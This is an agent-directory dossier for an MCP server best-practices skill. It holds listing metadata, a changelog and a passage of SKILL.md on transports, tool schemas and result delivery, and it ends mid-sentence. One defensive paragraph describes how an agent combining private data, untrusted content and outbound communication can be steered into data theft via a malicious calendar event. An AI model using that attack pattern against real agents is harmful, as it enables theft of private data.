{"id":"0ccdc20d-4e8c-4a18-ad45-7f79875bc5ba","entityType":"agent","slug":"clawhub-tenequm-mcp-best-practices","name":"mcp-best-practices","canonicalUrl":"https://www.xpersona.co/agent/clawhub-tenequm-mcp-best-practices","canonicalPath":"/agent/clawhub-tenequm-mcp-best-practices","generatedAt":"2026-10-10T00:17:10.178Z","source":"CLAWHUB","claimStatus":"UNCLAIMED","verificationTier":"NONE","summary":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:05:01.290Z","emptyReason":null},"description":"Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists.","descriptionLabel":"Source description","evidenceSummary":"Capability contract not published. No trust telemetry is available yet. 2.4K downloads reported by the source. Last updated 10/9/2026.","installCommand":"clawhub skill install s17bp3v1hm1dnkzey0c9tfh02183j0y5:mcp-best-practices","sourceUrl":"https://clawhub.ai/tenequm/mcp-best-practices","homepage":"https://clawhub.ai/tenequm/skills/mcp-best-practices","primaryLinks":[{"label":"View on ClawHub","url":"https://clawhub.ai/tenequm/mcp-best-practices","kind":"source"},{"label":"Homepage","url":"https://clawhub.ai/tenequm/skills/mcp-best-practices","kind":"homepage"}],"safetyScore":84,"overallRank":62,"popularityScore":44,"trustScore":null,"claimedByName":null,"isOwner":false,"seoDescription":"mcp-best-practices technical dossier on Xpersona with agent coverage, OPENCLEW support, and live trust metadata."},"coverage":{"evidence":{"source":"public-profile","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:05:01.290Z","emptyReason":null},"protocols":[{"protocol":"OPENCLEW","label":"OpenClaw","status":"self-declared","notes":"Declared in the public agent profile."}],"capabilities":[],"verifiedCount":0,"selfDeclaredCount":1,"capabilityMatrix":{"rows":[{"key":"OPENCLEW","type":"protocol","support":"unknown","confidenceSource":"profile","notes":"Listed on profile"}],"flattenedTokens":"protocol:OPENCLEW|unknown|profile"}},"adoption":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:05:01.290Z","emptyReason":null},"stars":null,"forks":null,"downloads":2427,"packageName":null,"latestVersion":"1.3.0","tractionLabel":"2.4K downloads"},"release":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:05:01.289Z","emptyReason":null},"lastUpdatedAt":"2026-10-09T15:05:01.290Z","lastCrawledAt":"2026-10-09T15:05:01.289Z","lastIndexedAt":null,"nextCrawlAt":"2026-10-10T15:05:01.289Z","lastVerifiedAt":null,"highlights":[{"version":"1.3.0","createdAt":"2026-10-06T12:18:33.750Z","changelog":"Updated mcp-best-practices from 1.2.1 to 1.3.0. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - modified `references/error-handling.md` - modified `references/extensions-registry.md` - modified `references/mcp-apps.md` - modified `references/sdk-bugs.md` - modified `references/security-auth.md` - modified `references/spec-2026-07-28.md` - modified `references/tool-schema-guide.md` - modified `references/transport-patterns.md` - modified `references/v2-migration.md`","fileCount":14,"zipByteSize":118543},{"version":"1.2.1","createdAt":"2026-09-09T11:10:02.977Z","changelog":"Updated mcp-best-practices from 1.2.0 to 1.2.1. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - modified `references/security-auth.md`","fileCount":14,"zipByteSize":103897},{"version":"1.2.0","createdAt":"2026-09-09T10:54:37.627Z","changelog":"Updated mcp-best-practices from 1.1.2 to 1.2.0. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - modified `references/extensions-registry.md` - modified `references/mcp-apps.md` - modified `references/sdk-bugs.md` - modified `references/security-auth.md` - modified `references/spec-2026-07-28.md` - modified `references/tool-schema-guide.md` - modified `references/transport-patterns.md` - modified `references/v2-migration.md`","fileCount":14,"zipByteSize":104032},{"version":"1.1.2","createdAt":"2026-09-09T10:00:59.106Z","changelog":"Updated mcp-best-practices from 1.1.1 to 1.1.2. Changes: - modified `CHANGELOG.md` - modified `SKILL.md`","fileCount":14,"zipByteSize":90340},{"version":"1.1.1","createdAt":"2026-08-21T12:08:10.981Z","changelog":"Updated mcp-best-practices from 1.1.0 to 1.1.1. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - deleted `skill-card.md`","fileCount":14,"zipByteSize":90302},{"version":"1.1.0","createdAt":"2026-08-07T13:44:19.151Z","changelog":"Updated mcp-best-practices from 1.0.0 to 1.1.0. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - added `references/sdk-bugs.md` - modified `references/security-auth.md` - modified `references/spec-2026-07-28.md` - modified `references/tool-schema-guide.md` - modified `skill-card.md`","fileCount":14,"zipByteSize":90118},{"version":"1.0.0","createdAt":"2026-08-07T12:55:56.454Z","changelog":"Updated mcp-best-practices from 0.8.2 to 1.0.0. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - modified `references/error-handling.md` - modified `references/extensions-registry.md` - modified `references/security-auth.md` - added `references/spec-2026-07-28.md` - modified `references/tool-schema-guide.md` - modified `references/transport-patterns.md` - modified `references/v2-migration.md` - modified `skill-card.md`","fileCount":13,"zipByteSize":89942},{"version":"0.8.2","createdAt":"2026-07-24T12:20:48.972Z","changelog":"Updated mcp-best-practices from 0.8.1 to 0.8.2. Changes: - modified `CHANGELOG.md` - modified `SKILL.md` - modified `references/security-auth.md` - modified `skill-card.md`","fileCount":12,"zipByteSize":68614}]},"execution":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No published capability contract is available yet."},"installCommand":"clawhub skill install s17bp3v1hm1dnkzey0c9tfh02183j0y5:mcp-best-practices","setupComplexity":"low","setupSteps":["Install using `clawhub skill install s17bp3v1hm1dnkzey0c9tfh02183j0y5:mcp-best-practices` in an isolated environment before connecting it to live workloads.","No published capability contract is available yet, so validate auth and request/response behavior manually.","Review the upstream CLAWHUB listing at https://clawhub.ai/tenequm/mcp-best-practices before using production credentials."],"contract":{"contractStatus":"missing","authModes":[],"requires":[],"forbidden":[],"supportsMcp":false,"supportsA2a":false,"supportsStreaming":false,"inputSchemaRef":null,"outputSchemaRef":null,"dataRegion":null,"contractUpdatedAt":null,"sourceUpdatedAt":null,"freshnessSeconds":null},"invocationGuide":{"preferredApi":{"snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/trust"},"curlExamples":["curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/snapshot\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/contract\"","curl -s \"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/trust\""],"jsonRequestTemplate":{"query":"summarize this repo","constraints":{"maxLatencyMs":2000,"protocolPreference":["OPENCLEW"]}},"jsonResponseTemplate":{"ok":true,"result":{"summary":"...","confidence":0.9},"meta":{"source":"CLAWHUB","generatedAt":"2026-10-10T00:17:10.174Z"}},"retryPolicy":{"maxAttempts":3,"backoffMs":[500,1500,3500],"retryableConditions":["HTTP_429","HTTP_503","NETWORK_TIMEOUT"]}},"endpoints":{"dossierUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/dossier","snapshotUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/snapshot","contractUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/contract","trustUrl":"https://www.xpersona.co/api/v1/agents/clawhub-tenequm-mcp-best-practices/trust"}},"reliability":{"evidence":{"source":"runtime-metrics","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No trust, reliability, or runtime telemetry is available."},"trust":{"status":"unavailable","handshakeStatus":"UNKNOWN","verificationFreshnessHours":null,"reputationScore":null,"p95LatencyMs":null,"successRate30d":null,"fallbackRate":null,"attempts30d":null,"trustUpdatedAt":null,"trustConfidence":"unknown","sourceUpdatedAt":null,"freshnessSeconds":null},"decisionGuardrails":{"doNotUseIf":["Contract metadata is missing or unavailable for deterministic execution."],"safeUseWhen":[],"riskFlags":["missing_or_unavailable_contract","trust_data_unavailable","schema_references_missing"],"operationalConfidence":"low"},"executionMetrics":{"observedLatencyMsP50":null,"observedLatencyMsP95":null,"estimatedCostUsd":null,"uptime30d":null,"rateLimitRpm":null,"rateLimitBurst":null,"lastVerifiedAt":null,"verificationSource":null},"runtimeMetrics":{"successRate":null,"avgLatencyMs":null,"avgCostUsd":null,"hallucinationRate":null,"retryRate":null,"disputeRate":null,"p50Latency":null,"p95Latency":null,"lastUpdated":null}},"benchmarks":{"evidence":{"source":"no-benchmark-data","verified":false,"confidence":"low","updatedAt":null,"emptyReason":"No benchmark suites or observed failure patterns are available."},"suites":[],"failurePatterns":[]},"artifacts":{"evidence":{"source":"CLAWHUB","verified":false,"confidence":"medium","updatedAt":"2026-10-09T15:05:01.290Z","emptyReason":null},"readme":"Skill: mcp-best-practices\n\nOwner: tenequm\n\nSummary: Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists.\n\nTags: latest:1.3.0\n\nVersion history:\n\nv1.3.0 | 2026-10-06T12:18:33.750Z | user\n\nUpdated mcp-best-practices from 1.2.1 to 1.3.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/error-handling.md`\n- modified `references/extensions-registry.md`\n- modified `references/mcp-apps.md`\n- modified `references/sdk-bugs.md`\n- modified `references/security-auth.md`\n- modified `references/spec-2026-07-28.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/transport-patterns.md`\n- modified `references/v2-migration.md`\n\nv1.2.1 | 2026-09-09T11:10:02.977Z | user\n\nUpdated mcp-best-practices from 1.2.0 to 1.2.1.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/security-auth.md`\n\nv1.2.0 | 2026-09-09T10:54:37.627Z | user\n\nUpdated mcp-best-practices from 1.1.2 to 1.2.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/extensions-registry.md`\n- modified `references/mcp-apps.md`\n- modified `references/sdk-bugs.md`\n- modified `references/security-auth.md`\n- modified `references/spec-2026-07-28.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/transport-patterns.md`\n- modified `references/v2-migration.md`\n\nv1.1.2 | 2026-09-09T10:00:59.106Z | user\n\nUpdated mcp-best-practices from 1.1.1 to 1.1.2.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n\nv1.1.1 | 2026-08-21T12:08:10.981Z | user\n\nUpdated mcp-best-practices from 1.1.0 to 1.1.1.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- deleted `skill-card.md`\n\nv1.1.0 | 2026-08-07T13:44:19.151Z | user\n\nUpdated mcp-best-practices from 1.0.0 to 1.1.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- added `references/sdk-bugs.md`\n- modified `references/security-auth.md`\n- modified `references/spec-2026-07-28.md`\n- modified `references/tool-schema-guide.md`\n- modified `skill-card.md`\n\nv1.0.0 | 2026-08-07T12:55:56.454Z | user\n\nUpdated mcp-best-practices from 0.8.2 to 1.0.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/error-handling.md`\n- modified `references/extensions-registry.md`\n- modified `references/security-auth.md`\n- added `references/spec-2026-07-28.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/transport-patterns.md`\n- modified `references/v2-migration.md`\n- modified `skill-card.md`\n\nv0.8.2 | 2026-07-24T12:20:48.972Z | user\n\nUpdated mcp-best-practices from 0.8.1 to 0.8.2.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/security-auth.md`\n- modified `skill-card.md`\n\nv0.8.1 | 2026-07-22T18:45:12.834Z | user\n\nUpdated mcp-best-practices from 0.8.0 to 0.8.1.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- added `skill-card.md`\n\nv0.8.0 | 2026-07-10T15:15:03.223Z | user\n\nUpdated mcp-best-practices from 0.7.1 to 0.8.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/error-handling.md`\n- modified `references/extensions-registry.md`\n- modified `references/mcp-apps.md`\n- modified `references/security-auth.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/transport-patterns.md`\n- modified `references/v2-migration.md`\n\nv0.7.1 | 2026-07-10T13:49:59.999Z | user\n\nUpdated mcp-best-practices from 0.7.0 to 0.7.1.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n\nv0.7.0 | 2026-07-01T11:43:55.822Z | user\n\nUpdated mcp-best-practices from 0.6.0 to 0.7.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/error-handling.md`\n- modified `references/extensions-registry.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/v2-migration.md`\n\nv0.6.0 | 2026-06-10T16:40:42.316Z | user\n\nUpdated mcp-best-practices from 0.5.0 to 0.6.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/transport-patterns.md`\n\nv0.5.0 | 2026-06-05T17:41:19.434Z | user\n\nUpdated mcp-best-practices from 0.4.0 to 0.5.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/tool-schema-guide.md`\n\nv0.4.0 | 2026-05-21T19:55:30.738Z | user\n\nUpdated mcp-best-practices from 0.3.1 to 0.4.0.\nChanges:\n- modified `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/extensions-registry.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/v2-migration.md`\n\nv0.3.1 | 2026-04-30T18:04:29.373Z | user\n\nUpdated mcp-best-practices from 0.3.0 to 0.3.1.\nChanges:\n- modified `SKILL.md`\n\nv0.3.0 | 2026-04-29T13:55:25.287Z | user\n\nUpdated mcp-best-practices from 0.2.1 to 0.3.0.\nChanges:\n- added `CHANGELOG.md`\n- modified `SKILL.md`\n- modified `references/error-handling.md`\n- modified `references/extensions-registry.md`\n- modified `references/mcp-apps.md`\n- modified `references/security-auth.md`\n- modified `references/tool-schema-guide.md`\n- modified `references/v2-migration.md`\n\nv0.2.1 | 2026-04-09T17:20:50.618Z | user\n\nUpdated mcp-best-practices from 0.2.0 to 0.2.1.\nChanges:\n- modified `SKILL.md`\n- modified `references/security-auth.md`\n- modified `references/v2-migration.md`\n\nv0.2.0 | 2026-04-03T18:52:05.534Z | user\n\nUpdated mcp-best-practices from 0.1.0 to 0.2.0.\nChanges:\n- modified `SKILL.md`\n- added `references/extensions-registry.md`\n- added `references/mcp-apps.md`\n- added `references/security-auth.md`\n\nv0.1.0 | 2026-04-03T15:23:09.653Z | user\n\nInitial publish of mcp-best-practices\n\nArchive index:\n\nArchive v1.3.0: 14 files, 118543 bytes\n\nFiles: CHANGELOG.md (35146b), LICENSE.txt (9157b), references/error-handling.md (12877b), references/extensions-registry.md (19304b), references/mcp-apps.md (13795b), references/sdk-bugs.md (10176b), references/security-auth.md (30624b), references/spec-2026-07-28.md (32977b), references/tool-schema-guide.md (31889b), references/transport-patterns.md (21838b), references/v2-migration.md (29056b), skill-card.md (1875b), SKILL.md (39390b), _meta.json (137b)\n\nFile v1.3.0:SKILL.md\n\n---\nname: mcp-best-practices\ndescription: Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists.\nmetadata:\n  version: \"1.3.0\"\n  categories: \"development, integrations\"\n  topics: \"mcp, typescript-sdk, tool-design, transports, server-hardening\"\n  upstream: \"@modelcontextprotocol/sdk@1.32.1, @modelcontextprotocol/server@2.3.1, @modelcontextprotocol/ext-apps@2.0.3, modelcontextprotocol-spec@2026-07-28\"\n  openclaw:\n    homepage: https://github.com/tenequm/skills/tree/main/skills/mcp-best-practices\n    emoji: \"🔌\"\n    envVars:\n      - name: MAX_MCP_OUTPUT_TOKENS\n        required: false\n        description: Claude Code client-side cap on MCP tool result size, referenced in the result-size budget guidance\n---\n\n# MCP Best Practices\n\nDecision reference for building production MCP servers with the TypeScript SDK. Not a tutorial - assumes you already have a working server and need to make it correct, fast, and secure.\n\n## Quick Reference\n\n| Component | Current | Notes |\n|-----------|---------|-------|\n| Spec (released) | **2026-07-28** ([specification](https://modelcontextprotocol.io/specification/latest)) | Stateless/sessionless overhaul - see \"Spec 2026-07-28\" below and `references/spec-2026-07-28.md` |\n| Spec (still deployed) | **2025-11-25** | Still the bulk of deployed software and the TS client default - but Claude Code now negotiates 2026-07-28 with HTTP servers that offer it |\n| TS SDK (current) | **v2.3.1** (2026-10-05): `/server`, `/client`, `/core` 2.3.1; `/node` 2.1.1, `/express` + `/hono` 2.0.2, `/fastify` 2.0.1 (no longer lockstep) | `createMcpHandler` serves both eras by default; the client speaks 2025-era unless told otherwise |\n| TS SDK (legacy) | **v1.32.1** (`@modelcontextprotocol/sdk`) | Bug + security fixes for >=6 months after v2 GA, never a revision past 2025-11-25; source on the [`v1.x` branch](https://github.com/modelcontextprotocol/typescript-sdk/tree/v1.x) |\n| JSON Schema | **2020-12** default (2019-09 / draft-07 accepted since v2.0.0) | - |\n| Transport | **Streamable HTTP** (remote), **stdio** (local) | SSE + WebSocket removed in v2 |\n| Extensions | **MCP Apps** (Stable, SEP-1865), **Auth Extensions** (official), **Tasks** ([ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)) | Domain-specific WGs |\n| Registry | **Preview** with v0.1 API freeze since 2025-10-24 ([registry](https://modelcontextprotocol.io/registry/about)) | GA pending |\n\n**v2 imports** (current):\n```typescript\nimport { McpServer } from \"@modelcontextprotocol/server\";\nimport { WebStandardStreamableHTTPServerTransport } from \"@modelcontextprotocol/server\";\nimport { ProtocolError, ProtocolErrorCode } from \"@modelcontextprotocol/core\";\n```\n\n**v1 imports** (legacy line, still widely deployed):\n```typescript\nimport { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport { WebStandardStreamableHTTPServerTransport } from \"@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js\";\nimport { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\";\n```\n\n### The Two Eras\n\nThe most decision-relevant fact after the 2026-07-28 release: **upgrading the TS SDK does not move your *client* to the new spec**, but other SDKs and clients do not share that default. `rmcp` (Rust) >= 3.0 advertises 2026-07-28 out of the box, so a dependency bump can silently put a server on the modern wire - re-check which revisions you advertise after every SDK upgrade.\n\nEvery revision from `2024-10-07` through `2025-11-25` opens with `initialize` and shares one wire behavior - the SDK calls that family **legacy**. `2026-07-28` starts the **modern** era: no `initialize`, a `server/discover` advertisement instead, a `_meta` envelope on every request. Selection is explicit:\n\n| `versionNegotiation.mode` | Behavior |\n|---|---|\n| absent / `'legacy'` | The 2025 `initialize` handshake, byte for byte. No probe. **This is the default.** |\n| `'auto'` | Probe with `server/discover`; fall back to `initialize` against a 2025-only server |\n| `{ pin: '2026-07-28' }` | That revision or nothing - a pin never falls back |\n\n**Servers: serve both eras.** Claude Code's current MCP runtime asks HTTP servers whether they support 2026-07-28 and uses it when they do (stdio is rolling out), so a server that advertises modern support gets modern traffic from a mainstream client today. v2's `createMcpHandler` serves 2025-era requests alongside modern ones by default (`legacy: 'stateless'`); test both eras. The stateless design guidance throughout this skill is what makes that cheap.\n\nTooling: [SDK docs](https://ts.sdk.modelcontextprotocol.io) ([v2](https://ts.sdk.modelcontextprotocol.io/v2/)); [MCP Inspector](https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector), which **connects as `legacy` by default** - pass `--protocol-era modern` (see \"Testing Against Each Era\" in `references/spec-2026-07-28.md`); the [conformance suite](https://github.com/modelcontextprotocol/conformance); and the [`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev) for scaffolding.\n\n## Server Setup\n\n### Transport Decision\n\n| Scenario | Transport | Key Config |\n|----------|-----------|------------|\n| Remote, v2 (K8s, CF Workers, Node) | `createMcpHandler(factory)` | Serves both eras; stateless per request |\n| Remote, v1 / stateless | `WebStandardStreamableHTTPServerTransport` | `sessionIdGenerator: undefined`, `enableJsonResponse: true` |\n| Remote, stateful (2025-era only) | `WebStandardStreamableHTTPServerTransport` | `sessionIdGenerator: () => randomUUID()` |\n| Local CLI / Claude Desktop | `StdioServerTransport` / v2 `serveStdio(factory)` | Default |\n| Legacy SSE clients | SSE removed in v2 - migrate to Streamable HTTP | - |\n\n### Stateless Pattern (recommended for remote deployment)\n\nA fresh server per request is the canonical pattern - and since `server@2.3.0` it is enforced: *\"An app that uses one server object, or one stateless transport, for every HTTP request fails on the second request after this upgrade.\"* Sharing instances also leaked cross-client data below v1.26.0 (GHSA-345p-7cg4-v4c7). On v2, `createMcpHandler` takes a **factory** and calls it once per request:\n\n```typescript\nimport { createMcpHandler, hostHeaderValidationResponse, McpServer, originValidationResponse } from \"@modelcontextprotocol/server\";\n\nconst handler = createMcpHandler(() => {\n  const server = new McpServer({ name: \"my-server\", version: \"1.0.0\" });\n  registerTools(server);   // register tools, resources, prompts inside the factory\n  return server;\n});\n\nexport default {\n  async fetch(request: Request): Promise<Response> {\n    // createMcpHandler is deliberately validation-free: guard Host/Origin in front of it.\n    const rejected =\n      hostHeaderValidationResponse(request, [\"mcp.example.com\"]) ??\n      originValidationResponse(request, [\"app.example.com\"]);\n    return rejected ?? handler.fetch(request);\n  },\n};\n```\n\nOn v1 the same shape is a new `McpServer` + `WebStandardStreamableHTTPServerTransport({ sessionIdGenerator: undefined, enableJsonResponse: true })` per request, `connect()`, `handleRequest()`, then `close()` both in a `finally` - see `references/transport-patterns.md`.\n\nThe `McpServer` must be per-request, but its constant inputs must not be. **Hoist to module level**: Zod schemas, annotation objects (`{ readOnlyHint: true, ... }`), tool description strings, payment configs, upstream API clients. (v2.3.0 also converts tool schemas lazily, so a per-request server no longer re-converts every tool on every request.)\n\n**If you only route POST** (the common stateless layout), answer `GET /mcp` with an explicit **405 Method Not Allowed** - the spec requires it when no SSE stream is offered, and the official TS client reads 405 as the benign no-stream signal, while an empty `200` sends it into a reconnect storm.\n\n> For transports, sessions, HTTP/2 gotchas, and K8s deployment: see `references/transport-patterns.md`\n\n### Framework Integration\n\n`handler.fetch` is web-standard, so Workers, Deno, Bun and Hono need no adapter. For Express, `createMcpExpressApp(options)` returns an `express()` app with JSON parsing and DNS-rebinding protection; mount the handler with `toNodeHandler(handler)` from `@modelcontextprotocol/node`. `createMcpHonoApp(options)` is the Hono equivalent. On Cloudflare Workers call `preloadSchemas()` at module scope - v2's workerd build does it automatically. Examples: `references/transport-patterns.md`.\n\n## Tool Design\n\n### Registration API\n\n**v1 (legacy line)** - `server.tool(name, description, zodShape, annotations, handler)`. Positional overloads are ambiguous; same fields as v2 below minus `outputSchema`. Removed entirely in v2.\n\n**v2 (current)** - `registerTool()` with config object:\n```typescript\nserver.registerTool(\"search_docs\", {\n  title: \"Document Search\",\n  description: \"Search documents by keyword or phrase\",\n  inputSchema: z.object({\n    query: z.string().describe(\"Search query\"),\n    max_results: z.number().optional().describe(\"Max results (default 20)\"),\n  }),\n  outputSchema: z.object({\n    results: z.array(z.object({ id: z.string(), text: z.string() })),\n    has_more: z.boolean(),\n  }),\n  annotations: { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true },\n}, async ({ query, max_results }) => {\n  const result = await fetchDocs(query, max_results);\n  return {\n    // Both channels carry IDENTICAL bytes. Divergent payloads = the text block\n    // silently vanishes on Claude Code/Codex/Copilot. See \"Tool Result Delivery\" below.\n    structuredContent: result,\n    content: [{ type: \"text\", text: JSON.stringify(result) }],\n  };\n});\n```\n\n### Naming\n\nSpec 2025-11-25 (SHOULD, not MUST): 1-128 chars, case-sensitive, `A-Za-z0-9_-.` only. **DO**: `search_docs`, `get_user_profile`, `admin.tools.list`. **DON'T**: `search` (generic names collide across servers), `Search Docs` (spaces disallowed). Service-prefix (`github_*`, `jira_*`) when multiple servers are active - LLMs confuse generic names. Bake the prefix into the tool name itself: the spec is explicit that *\"The server `name` (from `serverInfo`) is not guaranteed to be unique across servers and **SHOULD NOT** be relied upon for disambiguation\"*, so an aggregator cannot derive a safe prefix for you.\n\n### Schema Rules\n\n`.describe()` on every field - this is what LLMs use for argument generation. Three constructs break silently (`z.union()`, raw JSON Schema, `z.transform()`), as does client-side AJV strict validation - see \"Known SDK Bugs\" below.\n\n**Pagination** is the primitive most servers hit first: a `tools/list` or `resources/list` with 50+ entries should paginate. The protocol `cursor` is **opaque** - never parse or synthesize it; loop until `nextCursor` is absent. It is distinct from in-tool `offset`/`limit` args.\n\n> Zod-to-JSON-Schema conversion rules, outputSchema/structuredContent patterns, non-text content types, the other tool-definition fields (`icons`, `listChanged`, `execution.taskSupport`), and the remaining primitives (prompts, resources, resource templates, completions, cancellation): see `references/tool-schema-guide.md`\n\n### Annotations\n\nAll are optional hints (untrusted from untrusted servers per spec):\n\n| Annotation | Default | Meaning |\n|------------|---------|---------|\n| `readOnlyHint` | `false` | Tool doesn't modify its environment |\n| `destructiveHint` | `true` | May perform destructive updates (only when readOnly=false) |\n| `idempotentHint` | `false` | Repeated calls with same args have no additional effect |\n| `openWorldHint` | `true` | Interacts with external entities (APIs, web) |\n\nSet them accurately - clients use them for consent prompts and auto-approval decisions.\n\n**The \"Lethal Trifecta\"**: private-data access + exposure to untrusted content + external communication in one agent creates data-theft conditions (demonstrated with a malicious calendar event, an MCP calendar server, and a code-execution tool). Design tool sets so no single agent holds all three.\n\n### Stateful Tools\n\nWith no protocol-level session on 2026-07-28, cross-call state uses **server-minted handles passed as ordinary tool arguments**: a creation tool returns `{ basket_id: \"bsk_a1b2c3\" }`, later tools take `basket_id` as an argument, and the model carries it forward. A handle is a name, not a capability - validate the caller against it on *every* call, keep it opaque with real entropy, and state its retention policy in the *creation tool's description*. Expired or unknown handles return a tool execution error so the model can recover by creating new state. Full rules: `references/spec-2026-07-28.md`.\n\n## Tool Result Delivery: `content` vs `structuredContent`\n\n**The footgun:** when a tool returns BOTH a text `content` block and `structuredContent`, several major clients (Claude Code, Codex CLI, VS Code Copilot, Goose) silently drop the text block and forward only `structuredContent` to the model. If the two payloads differ, the human-readable one vanishes. This is **client behavior the spec does not constrain** - not an SDK transform. Don't return both channels expecting both to reach the model.\n\n### Empirically tested - Claude Code 2.1.165 (MCP 2025-11-25)\n\nMeasured with `claude -p --output-format=stream-json`, reading the exact `tool_result` the model received:\n\n| Tool returns | What the model receives |\n|--------------|-------------------------|\n| One text block, no `structuredContent` | text verbatim |\n| `content: []` + `structuredContent` | `JSON.stringify(structuredContent)` as a string in the content slot - works |\n| text block + `structuredContent` | **text block silently dropped**; `structuredContent` wins |\n| text + `structuredContent` + `outputSchema` | same - **`outputSchema` makes zero difference** |\n| two text blocks, no `structuredContent` | both preserved verbatim |\n\n`structuredContent` is **not a separate typed channel to the model** on Claude Code - it is stringified into the standard `tool_result` content slot, so it costs the **same tokens** as the equivalent JSON-as-text. It does not buy cheaper or out-of-band structured data.\n\nIntentional, per Anthropic maintainer ([anthropics/claude-code#9962](https://github.com/anthropics/claude-code/issues/9962)): structuredContent support landed in Claude Code v2.0.21 and \"we made `structuredContent` the default when both formats are present... optimizing for agent performance.\" Reproduced across unrelated servers (Laravel, Roblox Studio, YouTube) - host-side precedence, not a server bug.\n\n### What the spec actually says (2025-11-25)\n\n**There is no precedence rule** - the spec never says which field a client should prefer when both are present ([Discussion #1563](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/1563)), and that gap is the documented root cause of client divergence. The only relevant normative line is a backwards-compat SHOULD: *\"a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block.\"* The official TypeScript SDK passes both fields through **verbatim**; any stringify-into-content you observe is the host harness, not the SDK.\n\n### Cross-client behavior (the matrix above is Claude Code only)\n\n| Client | When both `content` + `structuredContent` present |\n|--------|---------------------------------------------------|\n| Claude Code CLI, OpenAI Codex CLI, VS Code Copilot, Goose | **shadow** - only `structuredContent` reaches the model (text dropped) |\n| Cursor, Claude.ai web, ChatGPT MCP connector | prefer `content` / surface both to the model |\n| Google ADK (framework) | forwards both by default; content-only is opt-in |\n\n(Non-Claude-Code rows come from issue trackers and maintainer statements, not the stream-json harness - treat exact delivery as client-version-dependent.)\n\n### The rule for server authors\n\n- **DON'T** return divergent `content` and `structuredContent` (e.g. a rendered ASCII table as text + different JSON as structured). On shadowing clients the text silently disappears and only the JSON reaches the model.\n- **DO**, if you emit `structuredContent`, mirror the **same bytes** into a text block: `content: [{ type: \"text\", text: JSON.stringify(payload) }]`. This is the spec's backwards-compat SHOULD. Shadowing clients use the structured copy; others fall back to the identical text - either way the model gets the data. Mirroring does not double tokens on shadowing clients (they drop the text).\n- **PREFER one channel per tool / per mode.** For a human-readable rendering (table, summary) to reach the model, return it as **text only, no `structuredContent`** - or expose a `format: \"table\" | \"json\"` arg (`table` -> text-only; `json` -> JSON mirrored into both channels). Both are empirically valid on Claude Code and keep one channel per call.\n- `outputSchema` gates client-side validation only; it does **not** make the text block survive on shadowing clients.\n\n`content` blocks are not text-only - `image`, `audio`, `resource_link`, and embedded `resource` blocks all exist, with annotations (`audience`, `priority`, `lastModified`); for those and the image preview + URL pattern see `references/tool-schema-guide.md`.\n\n## Error Handling\n\nTwo 